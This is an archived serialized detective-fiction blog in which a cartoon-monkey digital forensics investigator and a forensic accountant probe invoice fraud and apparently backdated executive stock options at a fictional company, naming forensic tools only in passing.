41863-060530-335762-12 Rate content: https://web.archive.org/web/20140910153812/http://numly.com/numly/verify.asp?id=4186306053033576212&rate=yes https://web.archive.org/web/20140910153812/http://numly.com/numly/verify.asp?id=4186306053033576212&rate=no

Source: archived original

Conclusion · Jun 6, 2006

You’ve all waited patiently for the climatic ending of this case file, and here it is!

Grab a coffee, and enjoy the conclusion to The Case Of The Lucrative Lure.

It was so quiet in the office that I could hear my own pulse.

Creepy.

Dana was standing in front of her desk with her hands outstretched. Laying perfectly center across her palms was a single black VHS videotape.

“I came in here with Nevits to retrieve this, and get the hell out of here.” Dana said with a quick glance at her companion.

I cleared my throat. “Dana, can I ask who Nevits is and why he’s here?”

“I’m a PI.” Nevits said, beating Dana to the punch.

“He’s a mathematical symbol?” Scrap joked under his breath, making fun of Nevit’s mispronunciation.

“Okay, you’re a private investigator. Why are you here with Dana?” I queried as I sat down on a nearby desk.

“Dana here had a little problem with her boss, so I snuck in here with her last week and rigged up a camera.” Nevits said as he pointed to the ceiling. “We came in tonight to yank the tape.”

Mark walked towards me and sat next to me on the desk. “Dana, from the beginning… let’s hear your story.”

Dana seemed very uncomfortable, but replayed her story nonetheless. “This whole mess started right after I started working here. Mike took a liking to me right away and asked me out. I know it’s not a smart idea to go out on dates with your boss, but he was very charming.”

Mark was cringing and rolling his eyes.

Dana continued. “Mike and I were dating for quite a while, and became very comfortable with each other. One day during a reconciliation I noticed some strange transactions in the accounting software. I hadn’t entered them, and neither had Susan. I asked Mike about them and he told me not to worry about them and just make things balance. When I told him that I needed the invoices for the entries, he got upset at me. The next day, invoices magically appeared on my desk. This went on for quite a while… me having to remind Mike about missing invoices and such. Then, things got very complicated.”

I was taking notes so fast that my paw was aching. I made a mental note to bring my digital voice recorder next time.

“Dana, what do you mean ’things got very complicated’?” Mark asked.

“I discovered that I was pregnant. I wanted the baby, Mike did not and was very adamant about me terminating my pregnancy. I couldn’t do it! Mike became very angry with me and started to threaten me and my job. It got so bad that I had to take a leave of absence… and then they didn’t want to pay me my vacation. While on my sick leave I told Mike during a few late night phone calls that I wasn’t coming back to work and I wasn’t terminating my pregnancy. It was then that he threatened to call the police because he had evidence that I had been stealing thousands of dollars from the company. I almost died! I knew that Mike had been paying fake invoices for quite a while, but I was afraid to say anything. I’m sorry Mark. I thought you were in on it too.” Dana lamented.

Mark was very quiet. I knew that silence well. It was like showing up at Starbucks two minutes after closing time.

“Chief, let’s see what’s on that tape.” Scrap suggested as he reached for the video tape in Dana’s hand.

I nodded, and Scrap walked back towards the wiring closet with the tape in his paw. A few seconds later, Scrap and I watched a pixelated video of Mike entering transactions into the accounting software and then printing checks. The video was time and date stamped, and the logo on the invoices was easy to make out. I flipped back to my notes from the examination of Dana’s workstation and looked at the FTK dump of the accounting system’s database. The times matched.

“It’s all there.” I said to Mark as I walked back towards Dana’s cube.

Mark sighed. “Dana, I’m really sorry about this. I want you to know that nobody is going to call the police on you. I’m going to deal with Mike personally, and I’m going to call you tomorrow to work out a severance package that is fair. Will that work?”

Dana had tears swelling up in her eyes, and exhaled loudly like a huge burden had been taken from her.

“That would be great Mark. I’m really tired and I think I need to rest.” Dana said as she reached into her purse and retrieved a small white envelope. The contents were quickly examined, and the envelope handed to Nevits who repeated the examination.

Looks like Nevits was getting paid for his work.

Nevits escorted Dana from the office leaving Scrap, Mark and myself staring at each other.

“Chief, Scrap, I can’t thank you enough for helping me out on this. I just knew that you’d figure this out. I guess I need to start preparing myself for a very painful discussion with my brother tomorrow.” Mark said.

“With your brother controlling the funds around here, we’re still getting paid, right?” I joked.

Mark chuckled. “Of course. Man, this story is right out of a daytime drama show. I’m pretty sure after I talk to my brother tomorrow that MMM will be history. "

“If previous cases have taught me anything, it would be that your intuition is right on the money (no pun intended).” I said. “When you see your brother tomorrow and he asks how the investigation is going, tell him one thing for me, will you?”

“Anything.” Mark said. “What?”

I slowly removed my chimp behind from the desk that I had been sitting on and looked Mark in the eyes.

“Tell him that the case was a slam dunk.”

_ Questions:

What was the ’lucrative lure’?

How did I know early on that Mike was the center of the entire investigation?

Post your comments/questions!

Chief_

52052-060606-437660-22 Rate content: https://web.archive.org/web/20140910153815/http://numly.com/numly/verify.asp?id=5205206060643766022&rate=yes https://web.archive.org/web/20140910153815/http://numly.com/numly/verify.asp?id=5205206060643766022&rate=no

Source: archived original

21. Case of the Teetering Timeframe

Tue, 13 Jun 2006 00:00:00 +0000

Part I · Jun 13, 2006

“Dude, I am SO BORED.” popped up in my iChat window on my trusty Powerbook.

It was a message from Scrap, who was sitting next to me at a newly created network security conference. Neither one of us had been impressed with the content of the conference, and were busily surfing away on the conference’s free wi-fi internet connectivity.

“This presentation is almost over. We can skip the resort lunch and grab a pizza and some beer around 11:30.” I messaged back. Why we were instant messaging each other and not simply quietly whispering amongst ourselves is a puzzle left to the reader.

BZZZZZZZZZZZ

I nearly jumped out of my chair. I was receiving a telephone call on my trusty Treo and had the ringer set to ‘vibrate’. I made a note to myself to contact Palm and inquire whether they also made high-voltage cow prodding poles and possibly electrocution chairs.

I quietly closed the lid of my Powerbook, slipped it into its carrying case, and crept towards the meeting room door.

“Chief.” I said quietly into my silver squawk box.

“Oh, you are there! Chief! Hi! It’s Reese!” came a perky female voice on the other end of the conversation.

A smile crept over my face. Reese never calls just to say ‘hi’.

“Reese? It’s been a while. When was the last time I bumped into you, Vegas?” I asked, remembering The Case Of The Audacious Attacker.

“Oh my, what a memory you have. Yep. I have since left SouthWestern Silverware Technologies and went to Buhlchet Silicon, Inc. as Chief Marketing Officer!” she squeaked.

“Impressive.” I replied. “Congratulations are in order. I’m guessing you didn’t call to catch up.”

Reese paused for a second and I could make out the faint sound of a door closing on her end of the connection.

“You know me too well. I have a discreet matter that I think you can help me, well, ‘us’ with.” Reese said quietly.

“‘Us’? Do you have a mouse in your pocket?” I joked.

“The Director of Financial Operations, Louis, brought something to my attention a few weeks ago. It’s big. I mean, it’s REALLY BIG. If this gets out to a certain batch of our shareholders or the media, I’m pretty sure the entire company is going to tank. We want to investigate, silently remove the guilty parties, and then discuss the matter on our terms at an emergency shareholders meeting.” Reese whispered.

“Good grief, woman! Spill it! You’re killing me!” I begged.

Reese opened her office door briefly, closed it, and took a deep breath.

“Our three top executive officers are about to steal some money from our shareholders.”

I furled my brow. “Like that doesn’t happen every day.”

“Chief, we’re talking several million dollars.” said Reese.

I nearly dropped my phone.

84786-060613-764992-55

Source: archived original

Part II · Jun 15, 2006

“Do you see dead people?” Scrap said as he waved his monkey arms in front of my face. The class had ended and the participants were spilling into the hallway that I was standing in the middle of.

“After eating your cooking? Hell yes.” I snapped back as I placed my Treo back into its carrying case and stepped to the side of the hallway. “You aren’t going to believe who just called me.”

Scrap thought for a moment, and then his eyes lit up. “Jessica Alba? SWEET!”

“Yeah. Uh, no. Reese called me, and she’s a suit over at Buhlchet Silicon now. A couple of larger suits are allegedly planning on stealing some serious cash from the company.” I said.

“No shi…?” Scrap said after I described the amount of money involved.

“I’m not kidding. I’m going to need a new sidekick for this job.” I said as I pulled my Treo out of its case and started scrolling down through my contacts list.

“WHAT? I’m not going?” Scrap whined.

“No, I need you to go to Seattle and start the job that we were planning on starting tomorrow. This works out fine, because I’m going to need somebody with some serious accounting and business skills.” I said as I found the name I was looking for.

“Awww, mannnnnn.” Scrap moaned.

I held the Treo to my ear and let the melodic ringing sound tickle my eardrum.

“Inez speaking.”

“Inez? Chief here. How are you?” I asked.

“Wow, a voice from the past. I haven’t seen you in years. What can I do for you?” Inez queried.

“Are you still doing the forensic accounting thing?” I asked as I crossed my fingers.

“Sure. I actually just returned from a gig in Hawaii. Have something in mind?” Inez inquired with a hint of hope in her voice.

“As a matter of fact, I do. I need you to meet me at Buhlchet Silicon headquarters in three days.” I said.

“Buhlchet? Oh my, my ears are perked now. Lay it on me.” Inez said so cheerfully that I could hear her smile on the other end of the phone.

“Their director of finops came across some stock option paperwork that was stuck in a laser printer. Apparently the CEO was planning on cashing in some stock options.” I said.

“Nothing wrong with that, Chief. Stock options are typically a large portion of any executive compensation package.” Inez replied.

“Correct. However, this director had been with Buhlchet from the very beginning and was very familiar with the stock grants that the executive team had received. Something on the paper didn’t jive.” I explained.

“Really? Chief, you have me intrigued. So are they adding extra zeros to their grant amounts, or what?” Inez joked.

“Wait, you haven’t heard the best part. The director takes the printout to his office and looks through the official employee files of the entire executive team. The CEO, COO and CFO all had stock grants in their files, and they all looked similarly weird.” I blathered on.

“Oh, oh, I know! They changed their share price, right? Made it one dollar!” Inez said.

“Try backdated executive stock options.” I said.

I think it was Inez’s turn to drop her phone.

21002-060615-127159-91 Rate content: https://web.archive.org/web/20140910142244/http://numly.com/numly/verify.asp?id=2100206061512715991&rate=yes https://web.archive.org/web/20140910142244/http://numly.com/numly/verify.asp?id=2100206061512715991&rate=no

Source: archived original

Part III · Jun 21, 2006

“It’s raining like crazy up here!” Scrap yelled into his cell phone. “I’m still waiting on a cab and some hot coffee.”

Three days had passed and Scrap was checking in from the airport in Seattle. The client had decided to start a few days later than originally planned, which worked out just fine for us considering our new case load.

“Are you and Inez going over to Buhlchet today?” Scrap asked as he blew a large quantity of smoke into the phone.

“Affirmative. I’m on my way to pick her up at the airport down here as we speak.” I said into my cell phone’s hands-free headset. “Check in with me again after your initial meeting with the client up there and let me know how things are going.”

“Roger that. Oh, a cab! Gotta go!” Scrap mumbled as he hung up.

Scrap was never much on goodbyes.

I maneuvered my vehicle to the arrivals curbside check-in and found Inez waiting patiently with her bags placed neatly on the ground in front of her.

“Hola, stranger!” Inez yelled as she threw her bags into the back seat. “You’d think as much as I fly that I wouldn’t hate it so much.”

“I know what you mean.” I replied with a grin. “Let’s grab some lunch before we meet with Reese.”

Moments later we were seated in a nice mexican restaurant being waited on by a girl named Rosa. After ordering some drinks and lunch, we got down to business.

“So fill me in on the details. What’s our mission?” Inez asked as she bit into a tortilla chip topped with salsa.

“I don’t have a whole lot more to tell you at this point aside from the details that I shared on the phone, but I’ll recap.” I said as I perused my notes on the notepad next to me.

“Buhlchet compensates executives with stock option grants. Buhlchet’s stock has been all over the board during the past few years because of increased competition and delayed product launches. According to Louis, the director of financial operations, the grants in question were to the top three executives almost a year ago when the stock was at $60. Buhlchet’s stock is currently at $70. The grant paperwork that Louis recovered from the office printer listed the grants at $40 a share with a date of two years ago. The executives have grants for a combined total of 200,000 shares.” I said.

“Wow. That’s blatant.” Inez said with a grin. “There’s a big difference between $6M and $2M.”

“Exactly.” I replied.

“Judging from what you told me a few days ago, the company’s board is clueless?” Inez asked.

“That’s the fear. Reese told me that the company is sitting on $200M in cash too. That’s a big cookie jar.” I joked.

Inez was lost in thought for a moment and closed her eyes before she began to speak.

“Unless there are additional details, we have to find proof that the documents were forged and that the shareholders never knowingly approved these grants. This is going to be fun.”

She had no idea.

33660-060620-950798-74

Source: archived original

Part IV · Jun 27, 2006

“Looking sharp, Chief!” Reese commented as Inez and I were escorted into her plush office at Buhlchet Silicon. “I almost didn’t recognize you.”

I grinned. “Hey, I figured I’d polish up a bit to meet with a CMO. Reese, this is an associate of mine, Inez.”

Reese and Inez shook hands and exchanged business cards in a most robotic fashion.

“Inez is a forensic accountant. She has substantial experience in researching accounting fraud and explaining things in plain English. I felt that her experience would be a huge plus to our investigation.” I explained.

“Oh, I agree! This is fantastic. While we are doing introductions, I see the rest of our party has arrived.” Reese said. Her attention was clearly focused on something behind me.

Three gentlemen walked through Reese’s door. The first was a fifty-ish gentleman identified as Louis, the director of financial operations. The other two gentlemen appeared to be in their mid-forties and were introduced as Charles and Fred, both members of Buhlchet’s board of directors and some type of acquaintances of Louis.

“Fred and I are grateful to Louis and Reese for bringing this to our attention.” Charles said with a smile. “We’ve both been on the board for a long time, and neither of us have any love for the three top executives of this firm. This latest discovery has us very concerned. If other members of the board discover this inquiry, or if the shareholders catch wind of this, we’re going to be hung from the flagpole by our ankles. We need to get this matter resolved quickly and discreetly.”

“Discretely? That’s my middle name.” I thought to myself with a laugh. The odds of discretion were much higher without my overly flirtatious sidekick along for the ride.

I placed my notebook on the corner of Reese’s desk and addressed the group.

“You look like you want to say something, Chief.” said Reese.

I clasped my hands together and took a deep breath.

“Do we have copies of the original grant letters?” I asked.

Louis shuffled around in his chair, shifting his weight from one cheek to the other.

“We’re not sure.” Louis replied.

Inez shot me a concerned look as she scribbled notes in her notebook.

“Has anyone confronted the executives yet? Louis found the printout on the printer and the supposedly modified agreements in the executives’ employment folders. Has anyone verified that what we suspect has happened has really happened?” I said as the voice of reason in the room.

Glances were exchanged around the room.

“I don’t believe anyone has said anything to the executives yet, Chief.” Louis responded.

“Our first order of business will be to locate the original copies of the grant letters, and authenticate them. We’ll then need to compare those letters with the documents in the employee files, and possibly recover digital evidence from computers that could have been used to modify the documents here in the office.” I said. “Louis, Inez and I are going to need access to your paper and electronic records.”

Louis nodded cooperatively.

Charles and Fred stood up at practically the same time and offered me a handshake.

“It sounds like we’re on the right track. Fred and I will be in contact.” Charles said as they exited the room with Louis.

“Chief, I’ll run you two down to Finance.” Reese said as she stood up from her desk chair.

“Nice.” Inez whispered in my ear. “This isn’t an investigation, it’s a lynching.”

31390-060627-948525-73

Source: archived original

Part V · Jul 4, 2006

“Anybody need a coffee?” Reese asked as she showed us to an empty cubicle in the finance department.

“Like you need to ask.” I said, trying to hold back my laughter.

“Nothing for me, thanks.” Inez replied.

“Got it. The main doors of each area are badge controlled. Your badges should give you access to most departments. I have identified you as private auditors to the staff, so they should be cooperative and not too curious. Chief, I’ll be back with an extra-large coffee for you.” Reese said as she made her way out of the department.

“What is it with you and the coffee?” Inez asked with a flirty smile.

“If you have to ask, you wouldn’t understand if I told you.” I replied back. Love of the bean can be hard to explain to a non-believer.

“Right. Okay, I’m off to find the finance supervisor and start pulling files. What’s your plan?” Inez queried.

“I’m going to make my way down to the IT department. Reese slipped me a name of somebody that I suspect will be able to help in this investigation. Well, I’ll head down there after I get my coffee, of course.” I replied. A monkey has to have his priorities straight.

Ten minutes later and coffee in hand, I made my way down the elevator to the IT department. I badged myself through the primary door and started to look at nameplates on office doors.

“Three doors down from the machine room window…” I mumbled to myself, trying to remember Reese’s directions.

There it was!

The nameplate read “Dogson, Brian. Manager, Information Technology”

Impressive.

I politely knocked on the door and took a step into the office.

“Come in.” rang a familiar voice.

“Brian?” I asked, having only talked to Brian on the phone before while in Vegas with Reese.

“Are you Chief?” Brian asked as he got up from his desk. “This is a pleasure. Reese thinks the world of you. We haven’t talked since that whole ‘weed’ issue while you and Reese were in Vegas, right?”

“Correct.” I replied. “You and Reese seem to have done quite well after coming to Buhlchet.”

Brian sat down and rubbed his hand across his mahogany desk. “You could say that. What’s going on? Reese told me to take care of you.”

“My associate Inez and I are investigating a pretty sensitive matter for the company. This goes all the way to the top. In order to do so, we’re going to do a little digging around in financial matters and IT resources.” I replied.

“Okay, my interest is piqued. How can I help?” Brian asked with a grin.

I handed Brian a piece of notebook paper.

Brian glanced at the paper and raised his other eyebrow.

“This is a date range.” Brian said. “I’m not sure I understand.”

I shuffled through the pages in my notebook, ripped out another page, and handed it to Brian.

Brian examined the second sheet closely and ran out of eyebrows to raise.

“Are you serious?” Brian exclaimed.

“Absolutely.” I replied.

82919-060704-746330-53

Source: archived original

Part VI · Jul 7, 2006

“Dios Mio!” Inez exclaimed as she laid her head on the pile of papers on her desk, her silky dark hair spilling over the desk and into my coffee cup.

“Uh, Inez I think you got your…” I started.

“This would be so much easier if we just walked upstairs and asked the alleged conspirators if they were guilty.” Inez whined as she pulled her hair out of my coffee cup. “Every time I think I’m done searching this rabbit hole I find another rabbit hole.”

“Rabbit hole?” I queried as I started to take another drink of my coffee, only to change my mind after spying a single hair dangling from the lip of my cup.

“Si. This place gives out stock options to every… what is the saying? Every ‘Dick & Harry’?” Inez asked as she paused to remember her English vocabulary. “The initial grant numbers don’t match everywhere. I’ve looked at the grant papers in the file, the copies filed by the Board of Directors, the grant tracking spreadsheets that are used by the finance department, and nothing matches what is on the grant papers.”

“Fascinating.” I said as I scratched my chin with a paw. “Show me one of these grant papers.” Inez dug through the pile of papers on her desk and retrieved several sheets of paper.

“Here, this is the grant paper that was in the CEO’s folder. Mira!” Inez said as she shook a paper in my direction.

_ NOTICE OF GRANT OF STOCK OPTION

Notice is hereby given of the following option grant (the “Option”) to purchase shares of the Common Stock of Buhlchet Silicon, Inc. (the “Corporation”):

Optionee: John Johnson

Grant Date: January 6, 1999

Vesting Commencement Date: January 6, 1999

Exercise Price: $ 40.00 per share*

Number of Option Shares: 100,000 shares*

Expiration Date: January 5, 2009

Type of Option: Non-Statutory Stock Option

Exercise Schedule: The Option shall become exercisable for one-hundred percent (100%) of the Option Shares upon Optionee’s completion of two (2) years of Service measured from the Vesting Commencement Date and shall become exercisable upon Optionee’s completion of the first day after two (2) years of Service measured from the Vesting Commencement Date.

In no event shall the Option become exercisable for any additional Option Shares after Optionee’s cessation of Service._

“What a sweet, sweet deal.” I said as I shook my head. “These guys get to cash in all of their playing cards? NICE! Inez, let me see the other two option grants.”

Inez pawed off two more sets of papers at me. Both grants read the exact same way, however they had different numbers of shares for each executive.

“What’s this attached to each grant option?” I asked as I flipped pages.

“That is their standard compensation agreement.” Inez remarked as she pointed to the second page.

_ COMPENSATION AGREEMENT

Agreement dated as of the 6 day of January, 1999 by and between John Johnson (“Optionee”) and Buhlchet Silicon, Inc., a Delaware corporation (the “Corporation”).

W I T N E S S E T H

WHEREAS, Optionee is to provide services to the Corporation, and the Corporation wishes to provide an equity incentive to Optionee to provide such services.

NOW, THEREFORE, in consideration of the above premises, the parties hereto agree as follows:

On January 6, 1999 Optionee was granted an option to acquire 100,000 shares of the Corporation’s Common Stock (the “Option”) under the terms and conditions set forth in the Stock Option Agreement, attached hereto as Exhibit A.
Corporation and Optionee acknowledge and agree that the Option is granted as compensation for services and not for any capital-raising purposes or in connection with any capital-raising activities.
This agreement is intended to constitute a written compensation contract within the meaning of Rule 701 of the Securities Act of 1933, as amended.
Nothing herein or in the Stock Option Agreement shall confer upon Optionee any right to continue in the Corporation’s employ or service for any period of specific duration or interfere with or otherwise restrict in any way the rights of the Corporation or Optionee, which rights are hereby expressly reserved by each party, to terminate Optionee’s service at any time for any reason, with or without cause.
The Optionee and Corporation agree that in the event that Optionee’s service is terminated prior to the first day after the Vesting Commencement Date, this agreement will become null and void.

IN WITNESS WHEREOF, the parties hereto have executed this agreement as of the date first above written.

OPTIONEE: Buhlchet Silicon, Inc.

John Johnson By: Charles Charleston

Title: Managing Partner

_ “Look pretty airtight, alright.” I said.

“I have one concern so far.” Inez said as she removed the paper guts from a large brown folder in front of her. “You’ve looked at the executives’ paperwork, no? Okay. Here is the paperwork for the Vice Presidents. This stack is for the Directors. This stack is for lower-level managers. Take a look.”

I glanced through stack after stack of agreements.

“I give. I don’t see it.” I said as I rubbed my eyes. I was going to hold Inez’s hair personally responsible for lack of coffee at such a critical juncture in our case!

Inez sighed. “Mira… the executives’ paperwork is signed and approved by Charles Charleston. If you look at any other level of management, they are all signed by…”

“Fred Fredly” I blurted out. “Another ‘managing partner’. So these guys have been around since the beginning of Buhlchet, eh?”

“Yes, it would appear so. I think I know why they are so concerned about this alleged fraudulent activity by the executives.” Inez said as she motioned for me to look at her computer screen.

“What am I looking at?” I asked. “It’s a memo from a committee made up of board members, but its all financial geek speak to me.”

Inez laughed. “Aye, Chief. It’s a disclosure memorandum of some sort. Look at the spreadsheet attached to the memorandum.”

I whacked the ‘page down’ key a few times with a paw.

“Charles and Fred own TWO MILLION shares?”

Inez blinked her eyes at me.

“Si. And they want to buy more.”

**ASIDE:

What’s going on here, monkeys? Let’s get some theories brewing. Is Inez on the right track? What exactly DID I ask Brian to go find? Why is it relevant? **

39737-060707-314507-10

Source: archived original

Part VII · Jul 13, 2006

“800 megabytes of Brazilian Transvestites!” Scrap exclaimed into his cell phone. “It was buried about 7 layers deep in his ‘My Documents’ folder, but Forensic Toolkit made short work of it.”

Scrap was entertaining me with an early morning phone call, as fresh coffee beans were ground in the coffee maker on my kitchen counter.

“Amazing.” I replied. “So the guy was trying to be sly by using an anonymous proxy in their office, completely unaware that you rigged a network content monitoring box inside their LAN’s Internet gateway?”

“Yep. It was easy to trace at that point, and warranted a confiscation of his laptop. He was not happy.” Scrap said, his voice bustling with pride at his successful case closure.

“How’s your Bullsheat case going?” Scrap asked.

“It’s Buhlchet.”

“Yeah, that.” Scrap replied.

I updated Scrap on yesterday’s activities as I poured the first cup of morning coffee and inhaled its suggestive aroma.

BEEP

“Scrap, I’ll catch up with you later. I have another call.” I said as I hurriedly switched lines on my phone.

“Chief.”

“Good morning, sunshine!” squeaked Reese. “I know it’s early, but I thought you should know that Brian was in this morning before the sun came up and I think he’s in a hurry to talk to you.”

“Really?” I asked.

Looks like my coffee was going to be drunk in the chimp car.

Moments later I was badging myself through door after door on my way to Buhlchet’s network operations department.

“Early bird got the worm?” I asked as I poked my head into Brian’s office.

“I’ll say.” Brian replied. “I knocked a couple of items off of your list, and I have to tell you that it wasn’t easy.”

“Eh?” I asked as I sipped the last of my coffee.

“I grabbed all three executives’ laptops this morning. Good thing for me they never take them home. I followed your instructions, and…” Brian began as he handed me three small anti-static bags sealed with the chain of custody labels I left him.

“Awesome. You made drive copies. What did you use?” I queried as I scanned the labels.

“Ghost. Thanks for the tip on that.” Brian said with a grin.

“Sweet. I’m going to need a work area to do some analysis. Can you set me up?” I asked.

“Mi casa es su casa!” Brian joked as he pointed to a lab area across the hall.

An hour went by quickly as I dragged Roscoe into the lab and started the drive images. Encase blazed through each drive with little difficulty.

RING

“Chief.” I barked into my phone.

“Where are you?” Inez asked.

“Well good morning to you too. I’m in network operations. And you?” I wondered out loud.

“Back in finance. I picked up where we left off yesterday. I couldn’t stop thinking about our discoveries, so I dug a little deeper.” Inez said, her voice becoming quieter.

“Why are you whispering?” I asked.

“Mijo, I don’t think we’re dealing with a simple theft case here.” Inez whispered.

“Well, that I think we both agree on.” I joked.

“Listen. Several years ago, these same three executives successfully persuaded their shareholders to not accept a buyout from DMA Macro. They successfully argued that the company’s products in the pipeline would be worth more to the company and the shareholders in the long run.” Inez divulged.

“That sounds like reasonable thinking. They were protecting the company they built, the investment by their shareholders, and their jobs.” I surmised.

“Si! Si! But they had to fight off an opposing position in the board of directors…” Inez whispered. “It’s all right here in front of me.”

“Okay, let me guess. Charles and Fred?” I presumed.

“Yes, among others. They have held this grudge for a long time.” Inez responded.

“Alright, keep digging. I’ll join you later.” I said as I hung up.

I returned to my duties in the lab and proceeded to perform several keyword searches on the first drive image with Forensic Toolkit. The drive belonged to the CEO, John Johnson.

Pay dirt!

I found several documents that contained keywords from the printout that was found on the laser printer. One of the documents appeared to be the grant document.

I exported the document out to Roscoe’s file system for a look. The document was password-protected for modifications, but did allow the document to be viewed.

“Well I’ll be a monkey’s uncle.” I mumbled as I viewed the document on Roscoe’s screen and scanned down to the option price.

$60.

Alright monkeys, what’s going on here?

78819-060712-705330-49

Source: archived original

Part VIII · Jul 18, 2006

My monkey scalp was pretty irritated after the twentieth or so time that I scratched it with my paw.

I had found a copy of each executive’s grant letters on their laptop drives, all password-protected and unchanged. There were no other copies or similar documents on the drives.

“Hmmm.” I thought to myself. “Perhaps they knew the password, changed the document, printed out a few copies and then didn’t save the document? Possibly, but why aren’t there any other artifacts on the drive from the editing and/or printing of the documents? There were no trace elements to be found in the usual places, such as the event logs and temporary file space.”

I had stumped myself. I reached for my cup of almost warm coffee and was nearly jolted out of my chair by a sound coming from behind me.

“Chief! Don’t you know we don’t allow transients in here?” Reese joked as she stepped into the room with a longhaired primate close behind her.

“I see you made it back into town.” I joked as I threw an ink pen at Scrap. “Nice to have you back. Feel like another challenge?”

Scrap took a quick sip off his mountain dew and grinned. “Heck yeah, boss. Whatcha got?”

“I’ll see you boys later.” Reese said as she dodged any possible work assignments from yours truly.

Scrap slammed the rest of his mountain dew and released a rather impressive monkey burp.

“Talk to me about print logs, and wipe that moisture residue off your chin.” I said as I passed Scrap a tissue.

“Print server? What kind of print server? Windows? Unix? Embedded?” Scrap queried.

“HP Jet Direct. I asked Brian to give me a diagram that described the print environment in this place. It appears that the support folks set these workstations and laptops to print directly to the laser printers. Each area has their own laser printer.” I said as I revealed a crudely drawn diagram fresh from Brian’s pencil.

“Yee-haw.” Scrap joked as he stroked his goatee. “We have quite a few places to look.”

“No kidding. Wrap your brain around it. If you were going to trace a print job back to a machine and user on this network, where would you start?” I quizzed.

“Is everything a test with you?” Scrap barked back.

“Yes. Answer the question, Scrappy-san.” I demanded.

“Okay, okay. Well, the printer on this diagram that is circled doesn’t have any local logging of jobs. I guess I’d find the domain admin and find out who had that printer pushed out to them?” Scrap squeaked.

“That would be a good start, and lucky for you he’s right down the hall.” I said with a smile.

Scrap raised his eyebrows. “Hey, how did I get dragged into this? I need to get some sleep man!”

I escorted Scrap to Brian’s office and relayed our questions about the laser printer.

“Are you getting senile there, Chief? That was one of the items on your list!” Brian exclaimed.

“I know. I’m just trying to make Wolfman Scrap feel like he’s contributing.” I joked.

“Well, I almost had that list done. Where did I put it? Ah! Wait, I did have it done. Here you go!” Brian said as he slid another amazing pencil creation into my paw.

“Scrap, we’re going to modify your mission today.” I mumbled while squinting at Brian’s hieroglyphics.

“What? Now what am I doing?” Scrap yelled as he threw his paws into the air.

“I need you to steal a laptop.”

61841-060718-535545-32

Source: archived original

Part IX · Jul 26, 2006

“One of the reasons that my family left Mexico before I was born was because of so much corruption in business. It nearly drove my father into the casa pobre!” Inez lamented as she waved around a dry erase marker. “It is what drives me in these situations, you know?”

I nodded understandingly. Corruption seemed to be everywhere, like why Starbucks always seems to run out of the exact coffee bean I’m looking for one day before I walk into the store. Some things are not meant to be understood by mere mortals.

“So, I stole this whiteboard out of that supply closet over there and propped it up on the desk in our private cubicle here to map this out for you.” Inez said with a grin.

“You’ll fit right in around here.” I laughed.

Inez started scribbling a flowchart on the whiteboard, and annotating it with a beautiful penmanship that one only finds in books.

“Louis finds a grant letter stuck in a laser printer. He then presents this letter to a trusted few: Fred, Charles, and Reese. We understand Fred and Charles, but why Reese?” Inez asked.

“Hmmm. She’s a C-level executive, she’s new, she made a good impression on the board…” I mumbled.

“She’s new.” Inez agreed. “Fred and Charles make a power play to Reese on how much this is going to screw up the company that she just signed on to. Reese drops your name as someone that can help.”

I scratched my chin to bootstrap my brain’s analysis engine.

“Reese gets us in here and the boys make their case. Nobody has talked to the executives about this at all.” Inez says as she drew another perfect rectangle on the board. “Why not?”

“They want to make sure they have a case before they…” I stuttered.

“Before they go to the rest of the board. They need concrete proof that there was a plan to steal from the company.” Inez reiterated.

“I’m following you. So the monkey brigade shows up and hopefully backs their claims based on a printout that Louis found on a printer and. what?” I asked.

“Exactly. We haven’t found anything else, so all we have is this… hey, wait a minute. Did Louis ever give you the paper that he found on the printer?” Inez asked.

“He gave it to Reese.” I said as I picked up my phone and dialed Reese’s cell phone.

“Reese.”

“Hey, it’s Chief. Can you run down here to finance and bring that grant letter that Louis gave you?” I asked.

“Sure. I’ll be right down.” Reese replied.

Several minutes later, Reese bounded down the hallway and appeared in our cubicle’s doorway with a paper in hand.

“Thank you.” Inez said as she examined the paper.

Inez’s brow furled with great intensity as she wrestled several papers from a nearby file folder and compared them to the Louis’ letter.

“Inez?” I asked.

“What do you think, mijo?” Inez asked as she handed me both pages. One was wrinkled badly as if it had been stuck in a printer with a failing toner cartridge and pulled out with great effort, the other was the grant letter from the CEO’s personnel folder.

“Jeezus Key-righst!” I said as I shook my head in disbelief.

“What? WHAT!” Reese said as she looked over my shoulder. “I don’t see anything.”

Inez leaned in closer to Reese and lowered her voice.

“The fonts are different.”

(Stay tuned for part X… up next!)

Monkeys, this case has more turns than a cheap jack-in-the-box. What does it all mean?

49320-060725-410332-20

Source: archived original

Part X · Aug 10, 2006

Note: My apologies for taking so long on updating this case file. Between BlackHat, DefCon, and my regular workload, I’ve been one busy monkey! Without further delay, please read on. You may find it necessary to go back to Part One of this case file to refamiliarize yourself with the case.

“Okay, I am SO not seeing this. What do you mean ’the fonts are different’?” Reese asked innocently.

Inez gently folded both papers as to not make a crease in them, and then drew Reese’s attention to the date and dollar amount fields.

“How the hell did you see that?” Reese exclaimed with a smile on her face. “That is amazing.”

Off in the distance a faint whistling noise could be heard.

“Is there a bird loose in here?” Inez asked, glancing at the ceiling.

“No, that’s my cohort in crime looking for me. I’ll be right back.” I said as I wandered down the hall to the elevator.

“Ah, there you are Limp Biscuit. I have a present for you.” Scrap said as he removed a large piece of dark plastic from his messenger bag.

I couldn’t help but smile. Scrap was good.

“Awesome. Take that down to Brian, do a ’tag and bag’ and a couple of images. I’ll be down shortly.” I said as I turned in the direction of Inez and Reese.

“Roger.” Scrap said with an animated salute as he pressed the elevator button.

I double-timed it back to our work cubicle and grabbed my severely worn notepad.

“Reese, I know we’re supposed to update Charles and Fred shortly on the progress of the investigation, but I need you to stall them for a least a day. Can you do that?” I pleaded.

Reese developed a concerned look on her face and shrugged her shoulders.

“I guess so. Heck, I don’t even know what’s going on. What should I tell them?” she asked.

“Tell them that we’re having some technical problems with the electronic portion of the investigation, and we’ll do our best to update them by end of business tomorrow.” I responded.

“Okay. I need to get back to my office anyway. Call me if you need anything else.” Reese said as she bid us goodbye.

I heard Reese call the elevator with a familiar ‘ding’.

“Reese is a fantastic lady, but we need to play this close to the chest right now.” I said as I scrawled some notes onto my notepad. “I need to go down to the IT area for a while. Write your findings up and I’ll call you in a bit.”

“Whatever you say, Chief.” Inez said with Benny Hill-style salute. What was up with people saluting me today?

I made my way down to the IT department and found Scrap and Brian conducting an orchestra of disk imaging.

“Status?” I queried as I took a seat next to Scrap.

Scrap flipped his lab chair around to face me.

